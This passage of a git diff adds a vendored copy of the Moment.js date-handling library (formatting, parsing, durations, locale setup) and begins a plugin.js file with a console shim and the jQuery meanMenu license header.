YYYY HH:mm:ss [GMT]ZZ'); +} + +function toISOString(keepOffset) { + if (!this.isValid()) { + return null; + } + var utc = keepOffset !== true; + var m = utc ? this.clone().utc() : this; + if (m.year() < 0 || m.year() > 9999) { + return formatMoment(m, utc ? 'YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYYYY-MM-DD[T]HH:mm:ss.SSSZ'); + } + if (isFunction(Date.prototype.toISOString)) { + // native implementation is ~50x faster, use it when we can + if (utc) { + return this.toDate().toISOString(); + } else { + return new Date(this._d.valueOf()).toISOString().replace('Z', formatMoment(m, 'Z')); + } + } + return formatMoment(m, utc ? 'YYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYY-MM-DD[T]HH:mm:ss.SSSZ'); +} + +/** + * Return a human readable representation of a moment that can + * also be evaluated to get a new moment which is the same + * + * @link https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects + */ +function inspect () { + if (!this.isValid()) { + return 'moment.invalid(/* ' + this._i + ' */)'; + } + var func = 'moment'; + var zone = ''; + if (!this.isLocal()) { + func = this.utcOffset() === 0 ? 'moment.utc' : 'moment.parseZone'; + zone = 'Z'; + } + var prefix = '[' + func + '("]'; + var year = (0 <= this.year() && this.year() <= 9999) ? 'YYYY' : 'YYYYYY'; + var datetime = '-MM-DD[T]HH:mm:ss.SSS'; + var suffix = zone + '[")]'; + + return this.format(prefix + year + datetime + suffix); +} + +function format (inputString) { + if (!inputString) { + inputString = this.isUtc() ? hooks.defaultFormatUtc : hooks.defaultFormat; + } + var output = formatMoment(this, inputString); + return this.localeData().postformat(output); +} + +function from (time, withoutSuffix) { + if (this.isValid() && + ((isMoment(time) && time.isValid()) || + createLocal(time).isValid())) { + return createDuration({to: this, from: time}).locale(this.locale()).humanize(!withoutSuffix); + } else { + return this.localeData().invalidDate(); + } +} + +function fromNow (withoutSuffix) { + return this.from(createLocal(), withoutSuffix); +} + +function to (time, withoutSuffix) { + if (this.isValid() && + ((isMoment(time) && time.isValid()) || + createLocal(time).isValid())) { + return createDuration({from: this, to: time}).locale(this.locale()).humanize(!withoutSuffix); + } else { + return this.localeData().invalidDate(); + } +} + +function toNow (withoutSuffix) { + return this.to(createLocal(), withoutSuffix); +} + +// If passed a locale key, it will set the locale for this +// instance. Otherwise, it will return the locale configuration +// variables for this instance. +function locale (key) { + var newLocaleData; + + if (key === undefined) { + return this._locale._abbr; + } else { + newLocaleData = getLocale(key); + if (newLocaleData != null) { + this._locale = newLocaleData; + } + return this; + } +} + +var lang = deprecate( + 'moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.', + function (key) { + if (key === undefined) { + return this.localeData(); + } else { + return this.locale(key); + } + } +); + +function localeData () { + return this._locale; +} + +function startOf (units) { + units = normalizeUnits(units); + // the following switch intentionally omits break keywords + // to utilize falling through the cases. + switch (units) { + case 'year': + this.month(0); + /* falls through */ + case 'quarter': + case 'month': + this.date(1); + /* falls through */ + case 'week': + case 'isoWeek': + case 'day': + case 'date': + this.hours(0); + /* falls through */ + case 'hour': + this.minutes(0); + /* falls through */ + case 'minute': + this.seconds(0); + /* falls through */ + case 'second': + this.milliseconds(0); + } + + // weeks are a special case + if (units === 'week') { + this.weekday(0); + } + if (units === 'isoWeek') { + this.isoWeekday(1); + } + + // quarters are also special + if (units === 'quarter') { + this.month(Math.floor(this.month() / 3) * 3); + } + + return this; +} + +function endOf (units) { + units = normalizeUnits(units); + if (units === undefined || units === 'millisecond') { + return this; + } + + // 'date' is an alias for 'day', so it should be considered as such. + if (units === 'date') { + units = 'day'; + } + + return this.startOf(units).add(1, (units === 'isoWeek' ? 'week' : units)).subtract(1, 'ms'); +} + +function valueOf () { + return this._d.valueOf() - ((this._offset || 0) * 60000); +} + +function unix () { + return Math.floor(this.valueOf() / 1000); +} + +function toDate () { + return new Date(this.valueOf()); +} + +function toArray () { + var m = this; + return [m.year(), m.month(), m.date(), m.hour(), m.minute(), m.second(), m.millisecond()]; +} + +function toObject () { + var m = this; + return { + years: m.year(), + months: m.month(), + date: m.date(), + hours: m.hours(), + minutes: m.minutes(), + seconds: m.seconds(), + milliseconds: m.milliseconds() + }; +} + +function toJSON () { + // new Date(NaN).toJSON() === null + return this.isValid() ? this.toISOString() : null; +} + +function isValid$2 () { + return isValid(this); +} + +function parsingFlags () { + return extend({}, getParsingFlags(this)); +} + +function invalidAt () { + return getParsingFlags(this).overflow; +} + +function creationData() { + return { + input: this._i, + format: this._f, + locale: this._locale, + isUTC: this._isUTC, + strict: this._strict + }; +} + +// FORMATTING + +addFormatToken(0, ['gg', 2], 0, function () { + return this.weekYear() % 100; +}); + +addFormatToken(0, ['GG', 2], 0, function () { + return this.isoWeekYear() % 100; +}); + +function addWeekYearFormatToken (token, getter) { + addFormatToken(0, [token, token.length], 0, getter); +} + +addWeekYearFormatToken('gggg', 'weekYear'); +addWeekYearFormatToken('ggggg', 'weekYear'); +addWeekYearFormatToken('GGGG', 'isoWeekYear'); +addWeekYearFormatToken('GGGGG', 'isoWeekYear'); + +// ALIASES + +addUnitAlias('weekYear', 'gg'); +addUnitAlias('isoWeekYear', 'GG'); + +// PRIORITY + +addUnitPriority('weekYear', 1); +addUnitPriority('isoWeekYear', 1); + + +// PARSING + +addRegexToken('G', matchSigned); +addRegexToken('g', matchSigned); +addRegexToken('GG', match1to2, match2); +addRegexToken('gg', match1to2, match2); +addRegexToken('GGGG', match1to4, match4); +addRegexToken('gggg', match1to4, match4); +addRegexToken('GGGGG', match1to6, match6); +addRegexToken('ggggg', match1to6, match6); + +addWeekParseToken(['gggg', 'ggggg', 'GGGG', 'GGGGG'], function (input, week, config, token) { + week[token.substr(0, 2)] = toInt(input); +}); + +addWeekParseToken(['gg', 'GG'], function (input, week, config, token) { + week[token] = hooks.parseTwoDigitYear(input); +}); + +// MOMENTS + +function getSetWeekYear (input) { + return getSetWeekYearHelper.call(this, + input, + this.week(), + this.weekday(), + this.localeData()._week.dow, + this.localeData()._week.doy); +} + +function getSetISOWeekYear (input) { + return getSetWeekYearHelper.call(this, + input, this.isoWeek(), this.isoWeekday(), 1, 4); +} + +function getISOWeeksInYear () { + return weeksInYear(this.year(), 1, 4); +} + +function getWeeksInYear () { + var weekInfo = this.localeData()._week; + return weeksInYear(this.year(), weekInfo.dow, weekInfo.doy); +} + +function getSetWeekYearHelper(input, week, weekday, dow, doy) { + var weeksTarget; + if (input == null) { + return weekOfYear(this, dow, doy).year; + } else { + weeksTarget = weeksInYear(input, dow, doy); + if (week > weeksTarget) { + week = weeksTarget; + } + return setWeekAll.call(this, input, week, weekday, dow, doy); + } +} + +function setWeekAll(weekYear, week, weekday, dow, doy) { + var dayOfYearData = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy), + date = createUTCDate(dayOfYearData.year, 0, dayOfYearData.dayOfYear); + + this.year(date.getUTCFullYear()); + this.month(date.getUTCMonth()); + this.date(date.getUTCDate()); + return this; +} + +// FORMATTING + +addFormatToken('Q', 0, 'Qo', 'quarter'); + +// ALIASES + +addUnitAlias('quarter', 'Q'); + +// PRIORITY + +addUnitPriority('quarter', 7); + +// PARSING + +addRegexToken('Q', match1); +addParseToken('Q', function (input, array) { + array[MONTH] = (toInt(input) - 1) * 3; +}); + +// MOMENTS + +function getSetQuarter (input) { + return input == null ? Math.ceil((this.month() + 1) / 3) : this.month((input - 1) * 3 + this.month() % 3); +} + +// FORMATTING + +addFormatToken('D', ['DD', 2], 'Do', 'date'); + +// ALIASES + +addUnitAlias('date', 'D'); + +// PRIOROITY +addUnitPriority('date', 9); + +// PARSING + +addRegexToken('D', match1to2); +addRegexToken('DD', match1to2, match2); +addRegexToken('Do', function (isStrict, locale) { + // TODO: Remove "ordinalParse" fallback in next major release. + return isStrict ? + (locale._dayOfMonthOrdinalParse || locale._ordinalParse) : + locale._dayOfMonthOrdinalParseLenient; +}); + +addParseToken(['D', 'DD'], DATE); +addParseToken('Do', function (input, array) { + array[DATE] = toInt(input.match(match1to2)[0]); +}); + +// MOMENTS + +var getSetDayOfMonth = makeGetSet('Date', true); + +// FORMATTING + +addFormatToken('DDD', ['DDDD', 3], 'DDDo', 'dayOfYear'); + +// ALIASES + +addUnitAlias('dayOfYear', 'DDD'); + +// PRIORITY +addUnitPriority('dayOfYear', 4); + +// PARSING + +addRegexToken('DDD', match1to3); +addRegexToken('DDDD', match3); +addParseToken(['DDD', 'DDDD'], function (input, array, config) { + config._dayOfYear = toInt(input); +}); + +// HELPERS + +// MOMENTS + +function getSetDayOfYear (input) { + var dayOfYear = Math.round((this.clone().startOf('day') - this.clone().startOf('year')) / 864e5) + 1; + return input == null ? dayOfYear : this.add((input - dayOfYear), 'd'); +} + +// FORMATTING + +addFormatToken('m', ['mm', 2], 0, 'minute'); + +// ALIASES + +addUnitAlias('minute', 'm'); + +// PRIORITY + +addUnitPriority('minute', 14); + +// PARSING + +addRegexToken('m', match1to2); +addRegexToken('mm', match1to2, match2); +addParseToken(['m', 'mm'], MINUTE); + +// MOMENTS + +var getSetMinute = makeGetSet('Minutes', false); + +// FORMATTING + +addFormatToken('s', ['ss', 2], 0, 'second'); + +// ALIASES + +addUnitAlias('second', 's'); + +// PRIORITY + +addUnitPriority('second', 15); + +// PARSING + +addRegexToken('s', match1to2); +addRegexToken('ss', match1to2, match2); +addParseToken(['s', 'ss'], SECOND); + +// MOMENTS + +var getSetSecond = makeGetSet('Seconds', false); + +// FORMATTING + +addFormatToken('S', 0, 0, function () { + return ~~(this.millisecond() / 100); +}); + +addFormatToken(0, ['SS', 2], 0, function () { + return ~~(this.millisecond() / 10); +}); + +addFormatToken(0, ['SSS', 3], 0, 'millisecond'); +addFormatToken(0, ['SSSS', 4], 0, function () { + return this.millisecond() * 10; +}); +addFormatToken(0, ['SSSSS', 5], 0, function () { + return this.millisecond() * 100; +}); +addFormatToken(0, ['SSSSSS', 6], 0, function () { + return this.millisecond() * 1000; +}); +addFormatToken(0, ['SSSSSSS', 7], 0, function () { + return this.millisecond() * 10000; +}); +addFormatToken(0, ['SSSSSSSS', 8], 0, function () { + return this.millisecond() * 100000; +}); +addFormatToken(0, ['SSSSSSSSS', 9], 0, function () { + return this.millisecond() * 1000000; +}); + + +// ALIASES + +addUnitAlias('millisecond', 'ms'); + +// PRIORITY + +addUnitPriority('millisecond', 16); + +// PARSING + +addRegexToken('S', match1to3, match1); +addRegexToken('SS', match1to3, match2); +addRegexToken('SSS', match1to3, match3); + +var token; +for (token = 'SSSS'; token.length <= 9; token += 'S') { + addRegexToken(token, matchUnsigned); +} + +function parseMs(input, array) { + array[MILLISECOND] = toInt(('0.' + input) * 1000); +} + +for (token = 'S'; token.length <= 9; token += 'S') { + addParseToken(token, parseMs); +} +// MOMENTS + +var getSetMillisecond = makeGetSet('Milliseconds', false); + +// FORMATTING + +addFormatToken('z', 0, 0, 'zoneAbbr'); +addFormatToken('zz', 0, 0, 'zoneName'); + +// MOMENTS + +function getZoneAbbr () { + return this._isUTC ? 'UTC' : ''; +} + +function getZoneName () { + return this._isUTC ? 'Coordinated Universal Time' : ''; +} + +var proto = Moment.prototype; + +proto.add = add; +proto.calendar = calendar$1; +proto.clone = clone; +proto.diff = diff; +proto.endOf = endOf; +proto.format = format; +proto.from = from; +proto.fromNow = fromNow; +proto.to = to; +proto.toNow = toNow; +proto.get = stringGet; +proto.invalidAt = invalidAt; +proto.isAfter = isAfter; +proto.isBefore = isBefore; +proto.isBetween = isBetween; +proto.isSame = isSame; +proto.isSameOrAfter = isSameOrAfter; +proto.isSameOrBefore = isSameOrBefore; +proto.isValid = isValid$2; +proto.lang = lang; +proto.locale = locale; +proto.localeData = localeData; +proto.max = prototypeMax; +proto.min = prototypeMin; +proto.parsingFlags = parsingFlags; +proto.set = stringSet; +proto.startOf = startOf; +proto.subtract = subtract; +proto.toArray = toArray; +proto.toObject = toObject; +proto.toDate = toDate; +proto.toISOString = toISOString; +proto.inspect = inspect; +proto.toJSON = toJSON; +proto.toString = toString; +proto.unix = unix; +proto.valueOf = valueOf; +proto.creationData = creationData; + +// Year +proto.year = getSetYear; +proto.isLeapYear = getIsLeapYear; + +// Week Year +proto.weekYear = getSetWeekYear; +proto.isoWeekYear = getSetISOWeekYear; + +// Quarter +proto.quarter = proto.quarters = getSetQuarter; + +// Month +proto.month = getSetMonth; +proto.daysInMonth = getDaysInMonth; + +// Week +proto.week = proto.weeks = getSetWeek; +proto.isoWeek = proto.isoWeeks = getSetISOWeek; +proto.weeksInYear = getWeeksInYear; +proto.isoWeeksInYear = getISOWeeksInYear; + +// Day +proto.date = getSetDayOfMonth; +proto.day = proto.days = getSetDayOfWeek; +proto.weekday = getSetLocaleDayOfWeek; +proto.isoWeekday = getSetISODayOfWeek; +proto.dayOfYear = getSetDayOfYear; + +// Hour +proto.hour = proto.hours = getSetHour; + +// Minute +proto.minute = proto.minutes = getSetMinute; + +// Second +proto.second = proto.seconds = getSetSecond; + +// Millisecond +proto.millisecond = proto.milliseconds = getSetMillisecond; + +// Offset +proto.utcOffset = getSetOffset; +proto.utc = setOffsetToUTC; +proto.local = setOffsetToLocal; +proto.parseZone = setOffsetToParsedOffset; +proto.hasAlignedHourOffset = hasAlignedHourOffset; +proto.isDST = isDaylightSavingTime; +proto.isLocal = isLocal; +proto.isUtcOffset = isUtcOffset; +proto.isUtc = isUtc; +proto.isUTC = isUtc; + +// Timezone +proto.zoneAbbr = getZoneAbbr; +proto.zoneName = getZoneName; + +// Deprecations +proto.dates = deprecate('dates accessor is deprecated. Use date instead.', getSetDayOfMonth); +proto.months = deprecate('months accessor is deprecated. Use month instead', getSetMonth); +proto.years = deprecate('years accessor is deprecated. Use year instead', getSetYear); +proto.zone = deprecate('moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/', getSetZone); +proto.isDSTShifted = deprecate('isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information', isDaylightSavingTimeShifted); + +function createUnix (input) { + return createLocal(input * 1000); +} + +function createInZone () { + return createLocal.apply(null, arguments).parseZone(); +} + +function preParsePostFormat (string) { + return string; +} + +var proto$1 = Locale.prototype; + +proto$1.calendar = calendar; +proto$1.longDateFormat = longDateFormat; +proto$1.invalidDate = invalidDate; +proto$1.ordinal = ordinal; +proto$1.preparse = preParsePostFormat; +proto$1.postformat = preParsePostFormat; +proto$1.relativeTime = relativeTime; +proto$1.pastFuture = pastFuture; +proto$1.set = set; + +// Month +proto$1.months = localeMonths; +proto$1.monthsShort = localeMonthsShort; +proto$1.monthsParse = localeMonthsParse; +proto$1.monthsRegex = monthsRegex; +proto$1.monthsShortRegex = monthsShortRegex; + +// Week +proto$1.week = localeWeek; +proto$1.firstDayOfYear = localeFirstDayOfYear; +proto$1.firstDayOfWeek = localeFirstDayOfWeek; + +// Day of Week +proto$1.weekdays = localeWeekdays; +proto$1.weekdaysMin = localeWeekdaysMin; +proto$1.weekdaysShort = localeWeekdaysShort; +proto$1.weekdaysParse = localeWeekdaysParse; + +proto$1.weekdaysRegex = weekdaysRegex; +proto$1.weekdaysShortRegex = weekdaysShortRegex; +proto$1.weekdaysMinRegex = weekdaysMinRegex; + +// Hours +proto$1.isPM = localeIsPM; +proto$1.meridiem = localeMeridiem; + +function get$1 (format, index, field, setter) { + var locale = getLocale(); + var utc = createUTC().set(setter, index); + return locale[field](utc, format); +} + +function listMonthsImpl (format, index, field) { + if (isNumber(format)) { + index = format; + format = undefined; + } + + format = format || ''; + + if (index != null) { + return get$1(format, index, field, 'month'); + } + + var i; + var out = []; + for (i = 0; i < 12; i++) { + out[i] = get$1(format, i, field, 'month'); + } + return out; +} + +// () +// (5) +// (fmt, 5) +// (fmt) +// (true) +// (true, 5) +// (true, fmt, 5) +// (true, fmt) +function listWeekdaysImpl (localeSorted, format, index, field) { + if (typeof localeSorted === 'boolean') { + if (isNumber(format)) { + index = format; + format = undefined; + } + + format = format || ''; + } else { + format = localeSorted; + index = format; + localeSorted = false; + + if (isNumber(format)) { + index = format; + format = undefined; + } + + format = format || ''; + } + + var locale = getLocale(), + shift = localeSorted ? locale._week.dow : 0; + + if (index != null) { + return get$1(format, (index + shift) % 7, field, 'day'); + } + + var i; + var out = []; + for (i = 0; i < 7; i++) { + out[i] = get$1(format, (i + shift) % 7, field, 'day'); + } + return out; +} + +function listMonths (format, index) { + return listMonthsImpl(format, index, 'months'); +} + +function listMonthsShort (format, index) { + return listMonthsImpl(format, index, 'monthsShort'); +} + +function listWeekdays (localeSorted, format, index) { + return listWeekdaysImpl(localeSorted, format, index, 'weekdays'); +} + +function listWeekdaysShort (localeSorted, format, index) { + return listWeekdaysImpl(localeSorted, format, index, 'weekdaysShort'); +} + +function listWeekdaysMin (localeSorted, format, index) { + return listWeekdaysImpl(localeSorted, format, index, 'weekdaysMin'); +} + +getSetGlobalLocale('en', { + dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, + ordinal : function (number) { + var b = number % 10, + output = (toInt(number % 100 / 10) === 1) ? 'th' : + (b === 1) ? 'st' : + (b === 2) ? 'nd' : + (b === 3) ? 'rd' : 'th'; + return number + output; + } +}); + +// Side effect imports +hooks.lang = deprecate('moment.lang is deprecated. Use moment.locale instead.', getSetGlobalLocale); +hooks.langData = deprecate('moment.langData is deprecated. Use moment.localeData instead.', getLocale); + +var mathAbs = Math.abs; + +function abs () { + var data = this._data; + + this._milliseconds = mathAbs(this._milliseconds); + this._days = mathAbs(this._days); + this._months = mathAbs(this._months); + + data.milliseconds = mathAbs(data.milliseconds); + data.seconds = mathAbs(data.seconds); + data.minutes = mathAbs(data.minutes); + data.hours = mathAbs(data.hours); + data.months = mathAbs(data.months); + data.years = mathAbs(data.years); + + return this; +} + +function addSubtract$1 (duration, input, value, direction) { + var other = createDuration(input, value); + + duration._milliseconds += direction * other._milliseconds; + duration._days += direction * other._days; + duration._months += direction * other._months; + + return duration._bubble(); +} + +// supports only 2.0-style add(1, 's') or add(duration) +function add$1 (input, value) { + return addSubtract$1(this, input, value, 1); +} + +// supports only 2.0-style subtract(1, 's') or subtract(duration) +function subtract$1 (input, value) { + return addSubtract$1(this, input, value, -1); +} + +function absCeil (number) { + if (number < 0) { + return Math.floor(number); + } else { + return Math.ceil(number); + } +} + +function bubble () { + var milliseconds = this._milliseconds; + var days = this._days; + var months = this._months; + var data = this._data; + var seconds, minutes, hours, years, monthsFromDays; + + // if we have a mix of positive and negative values, bubble down first + // check: https://github.com/moment/moment/issues/2166 + if (!((milliseconds >= 0 && days >= 0 && months >= 0) || + (milliseconds <= 0 && days <= 0 && months <= 0))) { + milliseconds += absCeil(monthsToDays(months) + days) * 864e5; + days = 0; + months = 0; + } + + // The following code bubbles up values, see the tests for + // examples of what that means. + data.milliseconds = milliseconds % 1000; + + seconds = absFloor(milliseconds / 1000); + data.seconds = seconds % 60; + + minutes = absFloor(seconds / 60); + data.minutes = minutes % 60; + + hours = absFloor(minutes / 60); + data.hours = hours % 24; + + days += absFloor(hours / 24); + + // convert days to months + monthsFromDays = absFloor(daysToMonths(days)); + months += monthsFromDays; + days -= absCeil(monthsToDays(monthsFromDays)); + + // 12 months -> 1 year + years = absFloor(months / 12); + months %= 12; + + data.days = days; + data.months = months; + data.years = years; + + return this; +} + +function daysToMonths (days) { + // 400 years have 146097 days (taking into account leap year rules) + // 400 years have 12 months === 4800 + return days * 4800 / 146097; +} + +function monthsToDays (months) { + // the reverse of daysToMonths + return months * 146097 / 4800; +} + +function as (units) { + if (!this.isValid()) { + return NaN; + } + var days; + var months; + var milliseconds = this._milliseconds; + + units = normalizeUnits(units); + + if (units === 'month' || units === 'year') { + days = this._days + milliseconds / 864e5; + months = this._months + daysToMonths(days); + return units === 'month' ? months : months / 12; + } else { + // handle milliseconds separately because of floating point math errors (issue #1867) + days = this._days + Math.round(monthsToDays(this._months)); + switch (units) { + case 'week' : return days / 7 + milliseconds / 6048e5; + case 'day' : return days + milliseconds / 864e5; + case 'hour' : return days * 24 + milliseconds / 36e5; + case 'minute' : return days * 1440 + milliseconds / 6e4; + case 'second' : return days * 86400 + milliseconds / 1000; + // Math.floor prevents floating point math errors here + case 'millisecond': return Math.floor(days * 864e5) + milliseconds; + default: throw new Error('Unknown unit ' + units); + } + } +} + +// TODO: Use this.as('ms')? +function valueOf$1 () { + if (!this.isValid()) { + return NaN; + } + return ( + this._milliseconds + + this._days * 864e5 + + (this._months % 12) * 2592e6 + + toInt(this._months / 12) * 31536e6 + ); +} + +function makeAs (alias) { + return function () { + return this.as(alias); + }; +} + +var asMilliseconds = makeAs('ms'); +var asSeconds = makeAs('s'); +var asMinutes = makeAs('m'); +var asHours = makeAs('h'); +var asDays = makeAs('d'); +var asWeeks = makeAs('w'); +var asMonths = makeAs('M'); +var asYears = makeAs('y'); + +function clone$1 () { + return createDuration(this); +} + +function get$2 (units) { + units = normalizeUnits(units); + return this.isValid() ? this[units + 's']() : NaN; +} + +function makeGetter(name) { + return function () { + return this.isValid() ? this._data[name] : NaN; + }; +} + +var milliseconds = makeGetter('milliseconds'); +var seconds = makeGetter('seconds'); +var minutes = makeGetter('minutes'); +var hours = makeGetter('hours'); +var days = makeGetter('days'); +var months = makeGetter('months'); +var years = makeGetter('years'); + +function weeks () { + return absFloor(this.days() / 7); +} + +var round = Math.round; +var thresholds = { + ss: 44, // a few seconds to seconds + s : 45, // seconds to minute + m : 45, // minutes to hour + h : 22, // hours to day + d : 26, // days to month + M : 11 // months to year +}; + +// helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize +function substituteTimeAgo(string, number, withoutSuffix, isFuture, locale) { + return locale.relativeTime(number || 1, !!withoutSuffix, string, isFuture); +} + +function relativeTime$1 (posNegDuration, withoutSuffix, locale) { + var duration = createDuration(posNegDuration).abs(); + var seconds = round(duration.as('s')); + var minutes = round(duration.as('m')); + var hours = round(duration.as('h')); + var days = round(duration.as('d')); + var months = round(duration.as('M')); + var years = round(duration.as('y')); + + var a = seconds <= thresholds.ss && ['s', seconds] || + seconds < thresholds.s && ['ss', seconds] || + minutes <= 1 && ['m'] || + minutes < thresholds.m && ['mm', minutes] || + hours <= 1 && ['h'] || + hours < thresholds.h && ['hh', hours] || + days <= 1 && ['d'] || + days < thresholds.d && ['dd', days] || + months <= 1 && ['M'] || + months < thresholds.M && ['MM', months] || + years <= 1 && ['y'] || ['yy', years]; + + a[2] = withoutSuffix; + a[3] = +posNegDuration > 0; + a[4] = locale; + return substituteTimeAgo.apply(null, a); +} + +// This function allows you to set the rounding function for relative time strings +function getSetRelativeTimeRounding (roundingFunction) { + if (roundingFunction === undefined) { + return round; + } + if (typeof(roundingFunction) === 'function') { + round = roundingFunction; + return true; + } + return false; +} + +// This function allows you to set a threshold for relative time strings +function getSetRelativeTimeThreshold (threshold, limit) { + if (thresholds[threshold] === undefined) { + return false; + } + if (limit === undefined) { + return thresholds[threshold]; + } + thresholds[threshold] = limit; + if (threshold === 's') { + thresholds.ss = limit - 1; + } + return true; +} + +function humanize (withSuffix) { + if (!this.isValid()) { + return this.localeData().invalidDate(); + } + + var locale = this.localeData(); + var output = relativeTime$1(this, !withSuffix, locale); + + if (withSuffix) { + output = locale.pastFuture(+this, output); + } + + return locale.postformat(output); +} + +var abs$1 = Math.abs; + +function sign(x) { + return ((x > 0) - (x < 0)) || +x; +} + +function toISOString$1() { + // for ISO strings we do not use the normal bubbling rules: + // * milliseconds bubble up until they become hours + // * days do not bubble at all + // * months bubble up until they become years + // This is because there is no context-free conversion between hours and days + // (think of clock changes) + // and also not between days and months (28-31 days per month) + if (!this.isValid()) { + return this.localeData().invalidDate(); + } + + var seconds = abs$1(this._milliseconds) / 1000; + var days = abs$1(this._days); + var months = abs$1(this._months); + var minutes, hours, years; + + // 3600 seconds -> 60 minutes -> 1 hour + minutes = absFloor(seconds / 60); + hours = absFloor(minutes / 60); + seconds %= 60; + minutes %= 60; + + // 12 months -> 1 year + years = absFloor(months / 12); + months %= 12; + + + // inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js + var Y = years; + var M = months; + var D = days; + var h = hours; + var m = minutes; + var s = seconds ? seconds.toFixed(3).replace(/\.?0+$/, '') : ''; + var total = this.asSeconds(); + + if (!total) { + // this is the same as C#'s (Noda) and python (isodate)... + // but not other JS (goog.date) + return 'P0D'; + } + + var totalSign = total < 0 ? '-' : ''; + var ymSign = sign(this._months) !== sign(total) ? '-' : ''; + var daysSign = sign(this._days) !== sign(total) ? '-' : ''; + var hmsSign = sign(this._milliseconds) !== sign(total) ? '-' : ''; + + return totalSign + 'P' + + (Y ? ymSign + Y + 'Y' : '') + + (M ? ymSign + M + 'M' : '') + + (D ? daysSign + D + 'D' : '') + + ((h || m || s) ? 'T' : '') + + (h ? hmsSign + h + 'H' : '') + + (m ? hmsSign + m + 'M' : '') + + (s ? hmsSign + s + 'S' : ''); +} + +var proto$2 = Duration.prototype; + +proto$2.isValid = isValid$1; +proto$2.abs = abs; +proto$2.add = add$1; +proto$2.subtract = subtract$1; +proto$2.as = as; +proto$2.asMilliseconds = asMilliseconds; +proto$2.asSeconds = asSeconds; +proto$2.asMinutes = asMinutes; +proto$2.asHours = asHours; +proto$2.asDays = asDays; +proto$2.asWeeks = asWeeks; +proto$2.asMonths = asMonths; +proto$2.asYears = asYears; +proto$2.valueOf = valueOf$1; +proto$2._bubble = bubble; +proto$2.clone = clone$1; +proto$2.get = get$2; +proto$2.milliseconds = milliseconds; +proto$2.seconds = seconds; +proto$2.minutes = minutes; +proto$2.hours = hours; +proto$2.days = days; +proto$2.weeks = weeks; +proto$2.months = months; +proto$2.years = years; +proto$2.humanize = humanize; +proto$2.toISOString = toISOString$1; +proto$2.toString = toISOString$1; +proto$2.toJSON = toISOString$1; +proto$2.locale = locale; +proto$2.localeData = localeData; + +// Deprecations +proto$2.toIsoString = deprecate('toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)', toISOString$1); +proto$2.lang = lang; + +// Side effect imports + +// FORMATTING + +addFormatToken('X', 0, 0, 'unix'); +addFormatToken('x', 0, 0, 'valueOf'); + +// PARSING + +addRegexToken('x', matchSigned); +addRegexToken('X', matchTimestamp); +addParseToken('X', function (input, array, config) { + config._d = new Date(parseFloat(input, 10) * 1000); +}); +addParseToken('x', function (input, array, config) { + config._d = new Date(toInt(input)); +}); + +// Side effect imports + + +hooks.version = '2.20.1'; + +setHookCallback(createLocal); + +hooks.fn = proto; +hooks.min = min; +hooks.max = max; +hooks.now = now; +hooks.utc = createUTC; +hooks.unix = createUnix; +hooks.months = listMonths; +hooks.isDate = isDate; +hooks.locale = getSetGlobalLocale; +hooks.invalid = createInvalid; +hooks.duration = createDuration; +hooks.isMoment = isMoment; +hooks.weekdays = listWeekdays; +hooks.parseZone = createInZone; +hooks.localeData = getLocale; +hooks.isDuration = isDuration; +hooks.monthsShort = listMonthsShort; +hooks.weekdaysMin = listWeekdaysMin; +hooks.defineLocale = defineLocale; +hooks.updateLocale = updateLocale; +hooks.locales = listLocales; +hooks.weekdaysShort = listWeekdaysShort; +hooks.normalizeUnits = normalizeUnits; +hooks.relativeTimeRounding = getSetRelativeTimeRounding; +hooks.relativeTimeThreshold = getSetRelativeTimeThreshold; +hooks.calendarFormat = getCalendarFormat; +hooks.prototype = proto; + +// currently HTML5 input type only supports 24-hour formats +hooks.HTML5_FMT = { + DATETIME_LOCAL: 'YYYY-MM-DDTHH:mm', // <input type="datetime-local" /> + DATETIME_LOCAL_SECONDS: 'YYYY-MM-DDTHH:mm:ss', // <input type="datetime-local" step="1" /> + DATETIME_LOCAL_MS: 'YYYY-MM-DDTHH:mm:ss.SSS', // <input type="datetime-local" step="0.001" /> + DATE: 'YYYY-MM-DD', // <input type="date" /> + TIME: 'HH:mm', // <input type="time" /> + TIME_SECONDS: 'HH:mm:ss', // <input type="time" step="1" /> + TIME_MS: 'HH:mm:ss.SSS', // <input type="time" step="0.001" /> + WEEK: 'YYYY-[W]WW', // <input type="week" /> + MONTH: 'YYYY-MM' // <input type="month" /> +}; + +return hooks; + +}))); + + + + + + diff --git a/public/js/plugin.js b/public/js/plugin.js new file mode 100644 index 0000000..dd88288 --- /dev/null +++ b/public/js/plugin.js @@ -0,0 +1,18950 @@ +/*--------------------------------------------------------------------- + File Name: plugin.js +---------------------------------------------------------------------*/ + +/* Avoid `console` errors in browsers that lack a console. +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ +(function() { + var method; + var noop = function () {}; + var methods = [ + 'assert', 'clear', 'count', 'debug', 'dir', 'dirxml', 'error', + 'exception', 'group', 'groupCollapsed', 'groupEnd', 'info', 'log', + 'markTimeline', 'profile', 'profileEnd', 'table', 'time', 'timeEnd', + 'timeline', 'timelineEnd', 'timeStamp', 'trace', 'warn' + ]; + var length = methods.length; + var console = (window.console = window.console || {}); + + while (length--) { + method = methods[length]; + + // Only stub undefined methods. + if (!console[method]) { + console[method] = noop; + } + } +}()); + + +/* JQuery meanMenu v2.0.8 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/*! +* jQuery meanMenu v2.0.8 +* @Copyright (C) 2012-2014 Chris Wharton @ MeanThemes (https://github.com/meanthemes/meanMenu) +* +*/ +/* +* This program is free software: you can redistribute it and/or modify +* it under the terms of the GNU General Public License as published by +* the Free Software Foundation, either version 3 of the License, or +* (at your option) any later version. +* +* THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT +* HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, +* INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR +* 